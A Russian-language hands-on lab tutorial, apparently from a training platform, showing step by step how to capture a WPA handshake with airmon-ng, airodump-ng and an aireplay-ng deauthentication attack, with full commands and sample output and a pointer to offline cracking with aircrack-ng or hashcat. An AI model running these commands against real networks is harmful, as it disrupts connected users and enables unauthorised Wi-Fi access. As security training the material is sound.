Ручной захват WPA-рукопожатия с помощью airodump-ng

Beginner
Практиковаться сейчас

Введение

Четырехстороннее рукопожатие WPA/WPA2 является критически важным компонентом современной безопасности Wi-Fi. Это процесс, посредством которого клиент и точка доступа (AP) доказывают, что они знают общий предварительный ключ (пароль Wi-Fi), никогда не передавая его напрямую. Захват этого рукопожатия является первым шагом в атаке методом перебора (brute-force) или словарной атаке для восстановления пароля Wi-Fi.

В этой лабораторной работе вы научитесь использовать мощный набор инструментов Aircrack-ng для выполнения этого захвата. Мы будем использовать airmon-ng для перевода вашей беспроводной карты в режим мониторинга, airodump-ng для сканирования и нацеливания на конкретную сеть, а также aireplay-ng для принудительного повторной аутентификации клиента, тем самым генерируя рукопожатие для нашего захвата.

Эта лабораторная работа имитирует реальный сценарий. Вам будет предоставлен беспроводной интерфейс wlan0 и целевая сеть для практики в лабораторной среде.

Перевод беспроводного адаптера в режим мониторинга

На этом этапе мы подготовим наш беспроводной адаптер для захвата сетевого трафика. По умолчанию беспроводной адаптер работает в "управляемом режиме" (managed mode), что означает, что он обращает внимание только на трафик, предназначенный для него. Чтобы захватить весь Wi-Fi трафик в эфире, нам нужно переключить его в "режим мониторинга" (monitor mode). Для этого мы будем использовать инструмент airmon-ng.

Сначала давайте проверим имя нашего беспроводного интерфейса. Откройте терминал и выполните команду iwconfig.

iwconfig

Вы должны увидеть список интерфейсов, обычно с именем wlan0.

lo        no wireless extensions.

eth0      no wireless extensions.

wlan0     IEEE 802.11  ESSID:off/any
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:on

Теперь используйте airmon-ng для запуска режима мониторинга на интерфейсе wlan0. Эта команда может завершить некоторые сетевые процессы, которые могут помешать захвату.

sudo airmon-ng start wlan0

Вывод подтвердит, что режим мониторинга был включен. Обычно он создает новый виртуальный интерфейс, часто называемый wlan0mon, для мониторинга.

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before bringing up the interface in monitor mode.

    PID Name
    591 wpa_supplicant
    668 dhclient

PHY     Interface       Driver          Chipset
phy0    wlan0           ath9k           Atheros Communications Inc. AR9271 802.11n

                (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
                (mac80211 station mode vif disabled for [phy0]wlan0)

Вы можете проверить, что новый интерфейс wlan0mon находится в режиме мониторинга, снова выполнив iwconfig.

iwconfig wlan0mon

Вывод должен показать Mode:Monitor.

wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=20 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:off

Запуск airodump-ng для поиска BSSID и канала цели

На этом этапе мы будем использовать airodump-ng для сканирования эфира и идентификации нашей целевой сети. airodump-ng — это мощный инструмент для захвата кадров 802.11 и обнаружения ближайших точек доступа и подключенных клиентов.

Теперь, когда наш интерфейс wlan0mon находится в режиме мониторинга, мы можем начать сканирование. Выполните следующую команду в терминале:

sudo airodump-ng wlan0mon

Ваш терминал заполнится списком всех Wi-Fi сетей, которые может обнаружить airodump-ng. Отображение разделено на две части. Верхняя часть перечисляет точки доступа (AP), а нижняя — подключенных клиентов (Stations).

Давайте разберем ключевые столбцы для точек доступа:

  • BSSID: MAC-адрес точки доступа. Это ее уникальный аппаратный идентификатор.
  • CH: Канал, на котором работает сеть.
  • ESSID: Понятное для человека имя Wi-Fi сети (например, "MyHomeWiFi").

Вот пример того, что вы можете увидеть:

 CH  6 ][ Elapsed: 3 s ][ 2023-10-27 10:30

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:11:22:33:44:55  -30       10        0    0   6  54e  WPA2 CCMP   PSK  LabEx_WiFi
 C8:D3:FF:A1:B2:C3  -65        8        0    0   1  54e  WPA2 CCMP   PSK  AnotherWiFi

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

Для этой лабораторной работы нашей целевой сетью является LabEx_WiFi. Из приведенного выше вывода определите ее BSSID (00:11:22:33:44:55) и CH (6). Они понадобятся вам для следующего шага.

После того как вы запишете BSSID и канал, нажмите Ctrl+C в терминале, чтобы остановить процесс сканирования.

Запуск airodump-ng с нацеливанием на конкретный BSSID и канал

На этом этапе мы сосредоточим наш захват только на целевой сети. Запуск общего сканирования, как мы делали на предыдущем шаге, заставляет беспроводную карту "переключать каналы" (channel hop), что означает, что мы можем пропустить рукопожатие (handshake), когда оно произойдет. Чтобы обеспечить успешный захват, мы укажем airodump-ng зафиксироваться на канале нашей цели и слушать только трафик от ее BSSID.

Мы также будем использовать флаг -w для записи захваченных пакетов в файл. Именно этот файл будет содержать рукопожатие.

Используйте BSSID и канал, которые вы определили на предыдущем шаге (00:11:22:33:44:55 и 6), чтобы составить следующую команду. Мы назовем наш выходной файл handshake_capture.

sudo airodump-ng --bssid 00:11:22:33:44:55 -c 6 -w handshake_capture wlan0mon

После выполнения этой команды отображение airodump-ng изменится. Теперь оно будет показывать информацию только для сети LabEx_WiFi. Вы также увидите список любых клиентов (STATIONs), подключенных к ней.

 CH  6 ][ Elapsed: 10 s ][ 2023-10-27 10:32 ][ WPA handshake: ...

 BSSID              PWR  RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:11:22:33:44:55  -32  100       25        10    1   6  54e  WPA2 CCMP   PSK  LabEx_WiFi

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 00:11:22:33:44:55  AA:BB:CC:DD:EE:FF  -40    1- 1      0       15

Важно: Оставьте этот терминал запущенным. Он нам нужен для продолжения захвата. Для следующего шага вам необходимо открыть новое окно терминала. Вы можете сделать это, снова щелкнув значок терминала в доке приложений среды.

Использование aireplay-ng для отключения клиента

На этом этапе мы будем активно вызывать генерацию рукопожатия. Рукопожатие происходит только тогда, когда клиент подключается или переподключается к точке доступа. Если клиент уже подключен, мы можем подождать, пока он отключится естественным образом, но это может занять много времени. Более проактивный подход — принудительно отключить его с помощью "атаки деаутентификации" (deauthentication attack).

Мы будем использовать aireplay-ng для отправки специально сформированных пакетов деаутентификации клиенту, заставляя его поверить, что он был отключен точкой доступа. Затем клиент автоматически попытается переподключиться, генерируя WPA-рукопожатие, которое наш процесс airodump-ng (работающий в другом терминале) ожидает захватить.

Посмотрите на свое первое окно терминала (то, в котором запущен таргетированный airodump-ng). В столбце STATION вы увидите MAC-адрес подключенного клиента. Для этой лабораторной работы мы будем считать, что MAC-адрес клиента — AA:BB:CC:DD:EE:FF.

Теперь, в вашем новом окне терминала, выполните следующую команду aireplay-ng.

  • --deauth 5: Отправляет 5 пакетов деаутентификации. Обычно достаточно небольшой серии.
  • -a 00:11:22:33:44:55: Это BSSID нашей целевой точки доступа.
  • -c AA:BB:CC:DD:EE:FF: Это MAC-адрес клиента, на которого мы нацелены.
sudo aireplay-ng --deauth 5 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon

Вы увидите вывод от aireplay-ng, подтверждающий отправку пакетов.

10:35:10  Waiting for beacon frame (BSSID: 00:11:22:33:44:55) on channel 6
10:35:11  Sending 64 directed DeAuths. STMAC: [AA:BB:CC:DD:EE:FF] [ 5|62 ACKs]

Теперь давайте проверим, был ли наш захват успешным.

Подтверждение захвата рукопожатия в окне airodump-ng

На этом заключительном этапе мы подтвердим успешный захват WPA-рукопожатия. Атака деаутентификации, которую мы только что выполнили, должна была привести к переподключению клиента, и airodump-ng должен был захватить полученное рукопожатие.

Переключите свое внимание обратно на первое окно терминала, то, в котором airodump-ng работал и нацеливался на LabEx_WiFi.

Посмотрите в правый верхний угол отображения airodump-ng. Если захват был успешным, вы увидите сообщение [ WPA handshake: 00:11:22:33:44:55 ].

 CH  6 ][ Elapsed: 45 s ][ 2023-10-27 10:35 ][ WPA handshake: 00:11:22:33:44:55

 BSSID              PWR  RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:11:22:33:44:55  -32  100       80       115    8   6  54e  WPA2 CCMP   PSK  LabEx_WiFi

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 00:11:22:33:44:55  AA:BB:CC:DD:EE:FF  -40    1-11      0       98

Увидев это сообщение, вы получили подтверждение! Вы успешно захватили четырехстороннее рукопожатие.

Теперь вы можете остановить оба процесса, нажав Ctrl+C в каждом окне терминала.

Захваченные данные, включая рукопожатие, были сохранены в файлы в вашем текущем каталоге. Вы можете просмотреть их с помощью команды ls -l.

ls -l

Вы должны увидеть несколько файлов, начинающихся с handshake_capture, наиболее важным из которых является handshake_capture-01.cap.

-rw-r--r-- 1 root root  452 Oct 27 10:36 handshake_capture-01.cap
-rw-r--r-- 1 root root 1234 Oct 27 10:36 handshake_capture-01.csv
...

Этот файл .cap является ценным. Он содержит рукопожатие и теперь может быть использован с такими инструментами, как aircrack-ng или hashcat для попыток офлайн-взлома пароля.

Итоги

Поздравляем с завершением этой лабораторной работы! Вы успешно освоили одну из фундаментальных техник тестирования на проникновение Wi-Fi.

В этой лабораторной работе вы научились:

  1. Переводить беспроводной адаптер в режим мониторинга с помощью airmon-ng.
  2. Сканировать ближайшие беспроводные сети для идентификации цели с помощью airodump-ng.
  3. Направлять airodump-ng на конкретный BSSID и канал для подготовки к целевому захвату, сохраняя результаты в файл.
  4. Использовать aireplay-ng для выполнения атаки деаутентификации, принудительно переподключая клиента.
  5. Подтверждать захват WPA-рукопожатия в выводе airodump-ng.

Сгенерированный вами файл .cap содержит ценные данные рукопожатия. Следующим логическим шагом в реальной работе было бы использование этого файла для попытки взлома пароля Wi-Fi, что является темой для другой лабораторной работы. Теперь у вас есть твердое понимание ручного процесса захвата этой критически важной части данных.